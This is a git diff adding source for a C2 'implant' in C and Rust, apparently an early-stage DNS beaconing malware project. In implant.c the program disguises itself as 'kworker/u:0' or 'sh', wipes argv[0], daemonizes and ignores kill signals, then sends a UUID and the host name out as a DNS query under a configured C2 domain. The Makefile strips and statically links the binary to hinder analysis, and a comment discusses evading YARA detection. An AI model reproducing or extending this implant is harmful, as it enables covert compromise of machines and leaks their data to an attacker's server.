"x25519-dalek" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7e468321c81fb07fa7f4c636c3972b9100f0346e5b6a9f2bd0603a52f7ed277" +dependencies = [ + "curve25519-dalek", + "rand_core 0.6.4", +] + +[[package]] +name = "yoke" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "abe8c5fda708d9ca3df187cae8bfb9ceda00dd96231bed36e445a1a48e66f9ca" +dependencies = [ + "stable_deref_trait", + "yoke-derive", + "zerofrom", +] + +[[package]] +name = "yoke-derive" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "de844c262c8848816172cef550288e7dc6c7b7814b4ee56b3e1553f275f1858e" +dependencies = [ + "proc-macro2", + "quote", + "syn", + "synstructure", +] + +[[package]] +name = "zerocopy" +version = "0.8.48" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eed437bf9d6692032087e337407a86f04cd8d6a16a37199ed57949d415bd68e9" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.8.48" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70e3cd084b1788766f53af483dd21f93881ff30d7320490ec3ef7526d203bad4" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "zerofrom" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69faa1f2a1ea75661980b013019ed6687ed0e83d069bc1114e2cc74c6c04c4df" +dependencies = [ + "zerofrom-derive", +] + +[[package]] +name = "zerofrom-derive" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11532158c46691caf0f2593ea8358fed6bbf68a0315e80aae9bd41fbade684a1" +dependencies = [ + "proc-macro2", + "quote", + "syn", + "synstructure", +] + +[[package]] +name = "zerotrie" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f9152d31db0792fa83f70fb2f83148effb5c1f5b8c7686c3459e361d9bc20bf" +dependencies = [ + "displaydoc", + "yoke", + "zerofrom", +] + +[[package]] +name = "zerovec" +version = "0.11.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90f911cbc359ab6af17377d242225f4d75119aec87ea711a880987b18cd7b239" +dependencies = [ + "yoke", + "zerofrom", + "zerovec-derive", +] + +[[package]] +name = "zerovec-derive" +version = "0.11.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "625dc425cab0dca6dc3c3319506e6593dcb08a9f387ea3b284dbd52a92c40555" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] diff --git a/implant-c/.env b/implant-c/.env new file mode 100644 index 0000000..e5aefd1 --- /dev/null +++ b/implant-c/.env @@ -0,0 +1,3 @@ +DNS_SERVER_1=8.8.8.8 +DNS_SERVER_2=8.8.4.4 +C2_DOMAIN=example.com \ No newline at end of file diff --git a/implant-c/Makefile b/implant-c/Makefile new file mode 100644 index 0000000..6a7bcd2 --- /dev/null +++ b/implant-c/Makefile @@ -0,0 +1,28 @@ +include .env + +DNS_1_HEX = $(shell bash build/ip2hex.sh $(DNS_SERVER_1)) +DNS_2_HEX = $(shell bash build/ip2hex.sh $(DNS_SERVER_2)) +UUID = $(shell uuidgen | tr -d '-') + +CC = musl-gcc +CFLAGS = -Wall -Os -fno-asynchronous-unwind-tables -fno-ident -fomit-frame-pointer -ffunction-sections -fdata-sections -flto +LDFLAGS = -static -s -Wl,--gc-sections -Wl,--as-needed -Wl,-z,norelro +CFLAGS_DEV = -Wall -ggdb -O0 +LDFLAGS_DEV = -static -Wl,--as-needed -Wl,-z,norelro +TARGET = implant + +.DEFAULT_GOAL = $(TARGET) + +dev: CFLAGS = $(CFLAGS_DEV) +dev: LDFLAGS = $(LDFLAGS_DEV) +dev: implant.c + $(CC) $(CFLAGS) $(LDFLAGS) -o $(TARGET) -DDNS_SERVER_1_ADDR=$(DNS_1_HEX) -DDNS_SERVER_2_ADDR=$(DNS_2_HEX) -DC2_DOMAIN=\"$(C2_DOMAIN)\" -DUUID=\"$(UUID)\" $< + +$(TARGET): implant.c + $(CC) $(CFLAGS) $(LDFLAGS) -DDNS_SERVER_1_ADDR=$(DNS_1_HEX) -DDNS_SERVER_2_ADDR=$(DNS_2_HEX) -DC2_DOMAIN=\"$(C2_DOMAIN)\" -DUUID=\"$(UUID)\" -o $(TARGET) $< + strip --strip-all -R .comment -R .note.* $(TARGET) + +clean: + rm -f $(TARGET) + +.PHONY: clean dev \ No newline at end of file diff --git a/implant-c/build/ip2hex.sh b/implant-c/build/ip2hex.sh new file mode 100644 index 0000000..98c169b --- /dev/null +++ b/implant-c/build/ip2hex.sh @@ -0,0 +1,5 @@ +#!/bin/bash +# Convert IP to network byte order hex (inet_addr format) +IP=$1 +IFS=. read -r a b c d <<< "$IP" +printf "0x%02x%02x%02x%02x" "$a" "$b" "$c" "$d" diff --git a/implant-c/dns.h b/implant-c/dns.h new file mode 100644 index 0000000..9e9b27b --- /dev/null +++ b/implant-c/dns.h @@ -0,0 +1,581 @@ +//Derived from https://www.binarytides.com/dns-query-code-in-c-with-linux-sockets/ +//Author : Silver Moon (m00n.silv3r@gmail.com) +//Dated : 29/4/2009 +//Updated by: a-rvid (git@rvid.eu) + +//Header Files +#include //strlen +#include //malloc +#include //you know what this is for +#include //inet_addr , inet_ntoa , ntohs etc +#include +#include //getpid + +//Default DNS server addresses (overridden by compile-time -D flags) +#ifndef DNS_SERVER_1_ADDR +#define DNS_SERVER_1_ADDR 0x08080808 //8.8.8.8 +#endif +#ifndef DNS_SERVER_2_ADDR +#define DNS_SERVER_2_ADDR 0x08080404 //8.8.4.4 +#endif + +//Types of DNS resource records :) + +#define T_A 1 //Ipv4 address +#define T_TXT 16 // TXT +// #define T_NS 2 //Nameserver +// #define T_CNAME 5 // canonical name +// #define T_SOA 6 /* start of authority zone */ +// #define T_PTR 12 /* domain name pointer */ +// #define T_MX 15 //Mail server + +//Function Prototypes +void ngethostbyname (unsigned char* , int); +void ChangetoDnsNameFormat (unsigned char*,unsigned char*); +unsigned char* ReadName (unsigned char*,unsigned char*,int*); +void get_dns_servers(); + +//DNS header structure +struct DNS_HEADER +{ + unsigned short id; // identification number + + unsigned char rd :1; // recursion desired + unsigned char tc :1; // truncated message + unsigned char aa :1; // authoritive answer + unsigned char opcode :4; // purpose of message + unsigned char qr :1; // query/response flag + + unsigned char rcode :4; // response code + unsigned char cd :1; // checking disabled + unsigned char ad :1; // authenticated data + unsigned char z :1; // its z! reserved + unsigned char ra :1; // recursion available + + unsigned short q_count; // number of question entries + unsigned short ans_count; // number of answer entries + unsigned short auth_count; // number of authority entries + unsigned short add_count; // number of resource entries +}; + +//Constant sized fields of query structure +struct QUESTION +{ + unsigned short qtype; + unsigned short qclass; +}; + +//Constant sized fields of the resource record structure +#pragma pack(push, 1) +struct R_DATA +{ + unsigned short type; + unsigned short _class; + unsigned int ttl; + unsigned short data_len; +}; +#pragma pack(pop) + +//Pointers to resource record contents +struct RES_RECORD +{ + unsigned char *name; + struct R_DATA *resource; + unsigned char *rdata; +}; + +//Structure of a Query +typedef struct +{ + unsigned char *name; + struct QUESTION *ques; +} QUERY; + +/* + * Perform a DNS query by sending a packet for TXT records + * Returns dynamically allocated 2D array of TXT record strings + * Last element is NULL to mark end of array + * */ +unsigned char** query_txt(unsigned char *host) { + unsigned char buf[65536], *qname, *reader; + unsigned char **txt_array; + int i, j, stop, s, txt_count = 0; + struct sockaddr_in dest; + struct DNS_HEADER *dns = NULL; + struct QUESTION *qinfo = NULL; + struct RES_RECORD answers[20]; + + s = socket(AF_INET , SOCK_DGRAM , IPPROTO_UDP); //UDP packet for DNS queries + + if(s < 0) return NULL; + + dest.sin_family = AF_INET; + dest.sin_port = htons(53); + dest.sin_addr.s_addr = DNS_SERVER_1_ADDR; + + //Set the DNS structure to standard queries + dns = (struct DNS_HEADER *)&buf; + + dns->id = (unsigned short) htons(getpid()); + dns->qr = 0; //This is a query + dns->opcode = 0; //This is a standard query + dns->aa = 0; //Not Authoritative + dns->tc = 0; //This message is not truncated + dns->rd = 1; //Recursion Desired + dns->ra = 0; //Recursion not available! hey we dont have it (lol) + dns->z = 0; + dns->ad = 0; + dns->cd = 0; + dns->rcode = 0; + dns->q_count = htons(1); //we have only 1 question + dns->ans_count = 0; + dns->auth_count = 0; + dns->add_count = 0; + + //point to the query portion + qname = (unsigned char*)&buf[sizeof(struct DNS_HEADER)]; + + ChangetoDnsNameFormat(qname , host); + qinfo = (struct QUESTION*)&buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1)]; + + qinfo->qtype = htons(T_TXT); //query for TXT record + qinfo->qclass = htons(1); //internet + + if(sendto(s, (char*)buf, sizeof(struct DNS_HEADER) + (strlen((const char*)qname)+1) + sizeof(struct QUESTION), 0, (struct sockaddr*)&dest, sizeof(dest)) < 0) { + close(s); + return NULL; + } + + //Receive the answer + i = sizeof dest; + if(recvfrom(s, (char*)buf, 65536, 0, (struct sockaddr*)&dest, (socklen_t*)&i) < 0) { + close(s); + return NULL; + } + + dns = (struct DNS_HEADER*) buf; + + //move ahead of the dns header and the query field + reader = &buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname)+1) + sizeof(struct QUESTION)]; + + //Allocate 2D array for TXT records (21 pointers: 20 records + 1 null terminator) + txt_array = (unsigned char**)malloc(21 * sizeof(unsigned char*)); + if(!txt_array) { + close(s); + return NULL; + } + + //Start reading answers + stop = 0; + for(i = 0; i < ntohs(dns->ans_count) && txt_count < 20; i++) { + answers[i].name = ReadName(reader, buf, &stop); + reader = reader + stop; + + answers[i].resource = (struct R_DATA*)(reader); + reader = reader + sizeof(struct R_DATA); + + if(ntohs(answers[i].resource->type) == T_TXT) { + unsigned int len = ntohs(answers[i].resource->data_len); + //TXT records have length-prefixed strings + if(len > 0) { + unsigned char str_len = reader[0]; //first byte is string length + txt_array[txt_count] = (unsigned char*)malloc(str_len + 1); + + if(txt_array[txt_count]) { + for(j = 0; j < str_len && j < (int)len - 1; j++) { + txt_array[txt_count][j] = reader[j + 1]; + } + txt_array[txt_count][j] = '\0'; + txt_count++; + } + } + reader = reader + len; + } else { + reader = reader + ntohs(answers[i].resource->data_len); + } + } + + //Null terminate the array + txt_array[txt_count] = NULL; + + close(s); + return txt_array; +} + +unsigned short int* query_a(unsigned char *host) { + unsigned short int* octets = (unsigned short int*)malloc(4 * sizeof(unsigned short int)); + unsigned char buf[65536], *qname, *reader; + int i, stop, s; + + struct RES_RECORD answers[20]; //the replies from the DNS server + struct sockaddr_in dest; + + struct DNS_HEADER *dns = NULL; + struct QUESTION *qinfo = NULL; + + s = socket(AF_INET , SOCK_DGRAM , IPPROTO_UDP); //UDP packet for DNS queries + + if(s < 0) return NULL; + + dest.sin_family = AF_INET; + dest.sin_port = htons(53); + dest.sin_addr.s_addr = DNS_SERVER_1_ADDR; //dns servers + + //Set the DNS structure to standard queries + dns = (struct DNS_HEADER *)&buf; + + dns->id = (unsigned short) htons(getpid()); + dns->qr = 0; //This is a query + dns->opcode = 0; //This is a standard query + dns->aa = 0; //Not Authoritative + dns->tc = 0; //This message is not truncated + dns->rd = 1; //Recursion Desired + dns->ra = 0; //Recursion not available! hey we dont have it (lol) + dns->z = 0; + dns->ad = 0; + dns->cd = 0; + dns->rcode = 0; + dns->q_count = htons(1); //we have only 1 question + dns->ans_count = 0; + dns->auth_count = 0; + dns->add_count = 0; + + //point to the query portion + qname = (unsigned char*)&buf[sizeof(struct DNS_HEADER)]; + + ChangetoDnsNameFormat(qname , host); + qinfo = (struct QUESTION*)&buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1)]; + + qinfo->qtype = htons(T_A); //query for A record + qinfo->qclass = htons(1); //internet + + if(sendto(s, (char*)buf, sizeof(struct DNS_HEADER) + (strlen((const char*)qname)+1) + sizeof(struct QUESTION), 0, (struct sockaddr*)&dest, sizeof(dest)) < 0) { + close(s); + return NULL; + } + + //Receive the answer + i = sizeof dest; + if(recvfrom(s, (char*)buf, 65536, 0, (struct sockaddr*)&dest, (socklen_t*)&i) < 0) { + close(s); + return NULL; + } + + dns = (struct DNS_HEADER*) buf; + + //move ahead of the dns header and the query field + reader = &buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname)+1) + sizeof(struct QUESTION)]; + + //Initialize octets array + octets[0] = 0; + octets[1] = 0; + octets[2] = 0; + octets[3] = 0; + + //Start reading answers + stop = 0; + for(i = 0; i < ntohs(dns->ans_count); i++) { + answers[i].name = ReadName(reader, buf, &stop); + reader = reader + stop; + + answers[i].resource = (struct R_DATA*)(reader); + reader = reader + sizeof(struct R_DATA); + + if(ntohs(answers[i].resource->type) == T_A) { + unsigned int len = ntohs(answers[i].resource->data_len); + //A records contain 4 bytes for IPv4 address + if(len == 4) { + octets[0] = (unsigned short int)reader[0]; + octets[1] = (unsigned short int)reader[1]; + octets[2] = (unsigned short int)reader[2]; + octets[3] = (unsigned short int)reader[3]; + } + reader = reader + len; + } else { + reader = reader + ntohs(answers[i].resource->data_len); + } + } + + close(s); + return octets; +} + +/* + * Get the DNS servers from /etc/resolv.conf file on Linux + * */ + + +// void ngethostbyname(unsigned char *host , int query_type) +// { +// unsigned char buf[65536],*qname,*reader; +// int i , j , stop , s; + +// struct sockaddr_in a; + +// struct RES_RECORD answers[20],auth[20],addit[20]; //the replies from the DNS server +// struct sockaddr_in dest; + +// struct DNS_HEADER *dns = NULL; +// struct QUESTION *qinfo = NULL; + +// s = socket(AF_INET , SOCK_DGRAM , IPPROTO_UDP); //UDP packet for DNS queries + +// dest.sin_family = AF_INET; +// dest.sin_port = htons(53); +// dest.sin_addr.s_addr = DNS_SERVER_1_ADDR; //dns servers + +// //Set the DNS structure to standard queries +// dns = (struct DNS_HEADER *)&buf; + +// dns->id = (unsigned short) htons(getpid()); +// dns->qr = 0; //This is a query +// dns->opcode = 0; //This is a standard query +// dns->aa = 0; //Not Authoritative +// dns->tc = 0; //This message is not truncated +// dns->rd = 1; //Recursion Desired +// dns->ra = 0; //Recursion not available! hey we dont have it (lol) +// dns->z = 0; +// dns->ad = 0; +// dns->cd = 0; +// dns->rcode = 0; +// dns->q_count = htons(1); //we have only 1 question +// dns->ans_count = 0; +// dns->auth_count = 0; +// dns->add_count = 0; + +// //point to the query portion +// qname =(unsigned char*)&buf[sizeof(struct DNS_HEADER)]; + +// ChangetoDnsNameFormat(qname , host); +// qinfo =(struct QUESTION*)&buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1)]; //fill it + +// qinfo->qtype = htons( query_type ); //type of the query , A , MX , CNAME , NS etc +// qinfo->qclass = htons(1); //its internet (lol) + +// if( sendto(s,(char*)buf,sizeof(struct DNS_HEADER) + (strlen((const char*)qname)+1) + sizeof(struct QUESTION),0,(struct sockaddr*)&dest,sizeof(dest)) < 0) +// { +// // Error +// } + +// //Receive the answer +// i = sizeof dest; +// // printf("\nReceiving answer..."); +// if(recvfrom (s,(char*)buf , 65536 , 0 , (struct sockaddr*)&dest , (socklen_t*)&i ) < 0) +// { +// } +// // printf("Done"); + +// dns = (struct DNS_HEADER*) buf; + +// //move ahead of the dns header and the query field +// reader = &buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname)+1) + sizeof(struct QUESTION)]; + +// // printf("\nThe response contains : "); +// // printf("\n %d Questions.",ntohs(dns->q_count)); +// // printf("\n %d Answers.",ntohs(dns->ans_count)); +// // printf("\n %d Authoritative Servers.",ntohs(dns->auth_count)); +// // printf("\n %d Additional records.\n\n",ntohs(dns->add_count)); + +// //Start reading answers +// stop=0; + +// for(i=0;ians_count);i++) +// { +// answers[i].name=ReadName(reader,buf,&stop); +// reader = reader + stop; + +// answers[i].resource = (struct R_DATA*)(reader); +// reader = reader + sizeof(struct R_DATA); + +// if(ntohs(answers[i].resource->type) == 1) //if its an ipv4 address +// { +// answers[i].rdata = (unsigned char*)malloc(ntohs(answers[i].resource->data_len)); + +// for(j=0 ; jdata_len) ; j++) +// { +// answers[i].rdata[j]=reader[j]; +// } + +// answers[i].rdata[ntohs(answers[i].resource->data_len)] = '\0'; + +// reader = reader + ntohs(answers[i].resource->data_len); +// } +// else +// { +// answers[i].rdata = ReadName(reader,buf,&stop); +// reader = reader + stop; +// } +// } + +// //read authorities +// for(i=0;iauth_count);i++) +// { +// auth[i].name=ReadName(reader,buf,&stop); +// reader+=stop; + +// auth[i].resource=(struct R_DATA*)(reader); +// reader+=sizeof(struct R_DATA); + +// auth[i].rdata=ReadName(reader,buf,&stop); +// reader+=stop; +// } + +// //read additional +// for(i=0;iadd_count);i++) +// { +// addit[i].name=ReadName(reader,buf,&stop); +// reader+=stop; + +// addit[i].resource=(struct R_DATA*)(reader); +// reader+=sizeof(struct R_DATA); + +// if(ntohs(addit[i].resource->type)==1) +// { +// addit[i].rdata = (unsigned char*)malloc(ntohs(addit[i].resource->data_len)); +// for(j=0;jdata_len);j++) +// addit[i].rdata[j]=reader[j]; + +// addit[i].rdata[ntohs(addit[i].resource->data_len)]='\0'; +// reader+=ntohs(addit[i].resource->data_len); +// } +// else +// { +// addit[i].rdata=ReadName(reader,buf,&stop); +// reader+=stop; +// } +// } + +// //print answers +// // printf("\nAnswer Records : %d \n" , ntohs(dns->ans_count) ); +// for(i=0 ; i < ntohs(dns->ans_count) ; i++) +// { +// // printf("Name : %s ",answers[i].name); + +// if( ntohs(answers[i].resource->type) == T_A) //IPv4 address +// { +// long *p; +// p=(long*)answers[i].rdata; +// a.sin_addr.s_addr=(*p); //working without ntohl +// // printf("has IPv4 address : %s",inet_ntoa(a.sin_addr)); +// } + +// if(ntohs(answers[i].resource->type)==5) +// { +// //Canonical name for an alias +// // printf("has alias name : %s",answers[i].rdata); +// } + +// // printf("\n"); +// } + +// //print authorities +// // printf("\nAuthoritive Records : %d \n" , ntohs(dns->auth_count) ); +// for( i=0 ; i < ntohs(dns->auth_count) ; i++) +// { + +// // printf("Name : %s ",auth[i].name); +// if(ntohs(auth[i].resource->type)==2) +// { +// // printf("has nameserver : %s",auth[i].rdata); +// } +// // printf("\n"); +// } + +// //print additional resource records +// // printf("\nAdditional Records : %d \n" , ntohs(dns->add_count) ); +// for(i=0; i < ntohs(dns->add_count) ; i++) +// { +// // printf("Name : %s ",addit[i].name); +// if(ntohs(addit[i].resource->type)==1) +// { +// long *p; +// p=(long*)addit[i].rdata; +// a.sin_addr.s_addr=(*p); +// // printf("has IPv4 address : %s",inet_ntoa(a.sin_addr)); +// } +// // printf("\n"); +// } +// (void)a; +// return; +// } + +/* + * + * */ +unsigned char* ReadName(unsigned char* reader,unsigned char* buffer,int* count) +{ + unsigned char *name; + unsigned int p=0,jumped=0,offset; + int i , j; + + *count = 1; + name = (unsigned char*)malloc(256); + + name[0]='\0'; + + //read the names in 3www6google3com format + while(*reader!=0) + { + if(*reader>=192) + { + offset = (*reader)*256 + *(reader+1) - 49152; //49152 = 11000000 00000000 ;) + reader = buffer + offset - 1; + jumped = 1; //we have jumped to another location so counting wont go up! + } + else + { + name[p++]=*reader; + } + + reader = reader+1; + + if(jumped==0) + { + *count = *count + 1; //if we havent jumped to another location then we can count up + } + } + + name[p]='\0'; //string complete + if(jumped==1) + { + *count = *count + 1; //number of steps we actually moved forward in the packet + } + + //now convert 3www6google3com0 to www.google.com + for(i=0;i<(int)strlen((const char*)name);i++) + { + p=name[i]; + for(j=0;j<(int)p;j++) + { + name[i]=name[i+1]; + i=i+1; + } + name[i]='.'; + } + name[i-1]='\0'; //remove the last dot + return name; +} + +/* + * This will convert www.google.com to 3www6google3com + * got it :) + * */ +void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host) +{ + int lock = 0 , i; + strcat((char*)host,"."); + + for(i = 0 ; i < strlen((char*)host) ; i++) + { + if(host[i]=='.') + { + *dns++ = i-lock; + for(;lock +#include "dns.h" +#include +#include +#include + +// macros (in .env): +// C2_DOMAIN +// DNS_SERVER_1_ADDR +// DNS_SERVER_2_ADDR +// UUID + +int main(int argc, char **argv) { + /// IMPORTANT: This part is easy to detect in stuff like YARA as it's in plaintext. + if (getuid() == 0) { + prctl(PR_SET_NAME, (unsigned long)"kworker/u:0", 0, 0, 0); + strncpy(argv[0], "\0", strlen(argv[0])); + } else { + prctl(PR_SET_NAME, (unsigned long)"sh", 0, 0, 0); + strncpy(argv[0], "sh", strlen(argv[0])); + } + daemon(0, 0); + prctl(PR_SET_PDEATHSIG, SIGTERM); + signal(SIGINT, SIG_IGN); + signal(SIGHUP, SIG_IGN); + signal(SIGTERM, SIG_IGN); + signal(SIGQUIT, SIG_IGN); + + char hostname[1024]; + hostname[1023] = '\0'; + gethostname(hostname, 1023); + + char data_query[1024 + 33 + 257]; + sprintf(data_query, "%s%s.%s", UUID, hostname, C2_DOMAIN); + // printf("data_query: %s\n", data_query); + + (void)query_a(data_query); + + // txt_results = query_txt(hostname); + + // if(txt_results) { + // printf("TXT records for %s:\n\n", hostname); + + // for(i = 0; txt_results[i] != NULL; i++) { + // printf("TXT %d\n", i); + // printf("Data: %s\n", txt_results[i]); + + // //Free each string + // free(txt_results[i]); + // } + + // //Free the array itself + // free(txt_results); + // } else { + // printf("Failed to query TXT record for %s\n", hostname); + // } + + // a_results = query_a(hostname); + + // if(a_results) { + // printf("A records for %s:\n", hostname); + // printf("%d.%d.%d.%d\n", a_results[0], a_results[1], a_results[2], a_results[3]); + + // //Free the array itself + // free(a_results); + // } else { + // printf("Failed to query A record for %s\n", hostname); + // } + + while(1) { + sleep(1); + }; + + return 0; +} \ No newline at end of file diff --git a/implant/Cargo.toml b/implant/Cargo.toml index 7476cb6..c42fc55 100644 --- a/implant/Cargo.toml +++ b/implant/Cargo.toml @@ -10,16 +10,15 @@ edition = "2021" # talc = "5.0.3" [profile.dev] -panic = "immediate-abort" +panic = "abort" [profile.release] opt-level = "z" lto = true codegen-units = 1 -panic = "immediate-abort" +panic = "abort" strip = true debug = false overflow-checks = false -[profile.release.build-override] -opt-level = 3 # build scripts themselves can be fast +[workspace] \ No newline at end of file diff --git a/implant/build.rs b/implant/build.rs index 7e05d38..1ddd963 100644 --- a/implant/build.rs +++ b/implant/build.rs @@ -1,16 +1,17 @@ fn main() { - let domain = std::env::var("C2_DOMAIN") - .expect("C2_DOMAIN env var required"); + let domain = std::env::var("C2_DOMAIN").expect("C2_DOMAIN env var required"); - let ip = std::env::var("DNS_SERVER") - .expect("DNS_SERVER env var required"); + let ip = std::env::var("DNS_SERVER").expect("DNS_SERVER env var required"); let octets: Vec = ip.split('.').map(|s| s.parse().unwrap()).collect(); - assert!(octets.len() == 4, "DNS_SERVER must be an IPv4 address with 4 octets"); + assert!( + octets.len() == 4, + "DNS_SERVER must be an IPv4 address with 4 octets" + ); println!("cargo:rustc-env=C2_DOMAIN={}", domain); println!("cargo:rustc-env=DNS_1={}", octets[0]); println!("cargo:rustc-env=DNS_2={}", octets[1]); println!("cargo:rustc-env=DNS_3={}", octets[2]); println!("cargo:rustc-env=DNS_4={}", octets[3]); -} \ No newline at end of file +} diff --git a/implant/src/debug.rs b/implant/src/debug.rs index 2a94e8d..d3c11c6 100644 --- a/implant/src/debug.rs +++ b/implant/src/debug.rs @@ -24,7 +24,7 @@ impl fmt::Write for Writer { pub fn print(args: fmt::Arguments) { use fmt::Write; - Writer{}.write_fmt(args).unwrap(); + Writer {}.write_fmt(args).unwrap(); } #[macro_export] @@ -43,4 +43,4 @@ macro_rules! println { ($($arg:tt)*) => {{ print!("{}\n", format_args!($($arg)*)); }} -} \ No newline at end of file +} diff --git a/implant/src/main.rs b/implant/src/main.rs index 374e543..2e2cb6e 100644 --- a/implant/src/main.rs +++ b/implant/src/main.rs @@ -7,24 +7,39 @@ mod debug; #[cfg(debug_assertions)] pub use debug::print; +use core::panic::PanicInfo; +#[panic_handler] +fn panic(info: &PanicInfo) -> ! { + #[cfg(debug_assertions)] + println!("A panic occured: {}", info); + main() +} + // use talc::{*, source::Claim}; struct Lcg { seed: u32, multiplier: u32, // a - increment: u32, // c + increment: u32, // c } impl Lcg { fn new(seed: u32, multiplier: u32, increment: u32) -> Self { - Self { seed, multiplier, increment } + Self { + seed, + multiplier, + increment, + } } fn next_u16(&mut self) -> u16 { - self.seed = self.seed.wrapping_mul(self.multiplier).wrapping_add(self.increment); + self.seed = self + .seed + .wrapping_mul(self.multiplier) + .wrapping_add(self.increment); (self.seed >> 16) as u16 } } - + // #[global_allocator] // static TALC: TalcLock = TalcLock::new(unsafe { // static mut INITIAL_HEAP: [u8; min_first_heap_size::() + 2000] = @@ -33,23 +48,31 @@ impl Lcg { // }); #[unsafe(no_mangle)] -extern "C" fn main() -> i32 { +extern "C" fn main() -> ! { #[cfg(debug_assertions)] { println!("TuxMux implant debug; DO NOT USE IN PRODUCTION"); - println!("C2 Domain: {:?}, DNS server: {}.{}.{}.{}", C2_DOMAIN, DNS_SERVER[0], DNS_SERVER[1], DNS_SERVER[2], DNS_SERVER[3]); + println!( + "C2 Domain: {:?}, DNS server: {}.{}.{}.{}", + C2_DOMAIN, DNS_SERVER[0], DNS_SERVER[1], DNS_SERVER[2], DNS_SERVER[3] + ); } let mut seed: u32 = 0; - unsafe { core::arch::x86_64::_rdrand32_step(&mut seed) }; - let mut lcg = Lcg::new(seed, 1664525, 1013904223); // https://en.wikipedia.org/wiki/Linear_congruential_generator - + #[cfg(target_arch = "x86_64")] + unsafe { + core::arch::x86_64::_rdrand32_step(&mut seed) + }; + + let mut rng = Lcg::new(seed, 1664525, 1013904223); + #[cfg(debug_assertions)] - { - let random = lcg.next_u16(); + { + let random = rng.next_u16(); println!("Random number: {}", random); } - 0 + loop {} + // unreachable!(); } const fn parse_u8(s: &str) -> u8 { @@ -64,8 +87,15 @@ const fn parse_u8(s: &str) -> u8 { } macro_rules! env_u8 { - ($name:expr) => { parse_u8(env!($name)) }; + ($name:expr) => { + parse_u8(env!($name)) + }; } const C2_DOMAIN: &str = env!("C2_DOMAIN"); -const DNS_SERVER: [u8; 4] = [env_u8!("DNS_1"), env_u8!("DNS_2"), env_u8!("DNS_3"), env_u8!("DNS_4")]; \ No newline at end of file +const DNS_SERVER: [u8; 4] = [ + env_u8!("DNS_1"), + env_u8!("DNS_2"), + env_u8!("DNS_3"), + env_u8!("DNS_4"), +];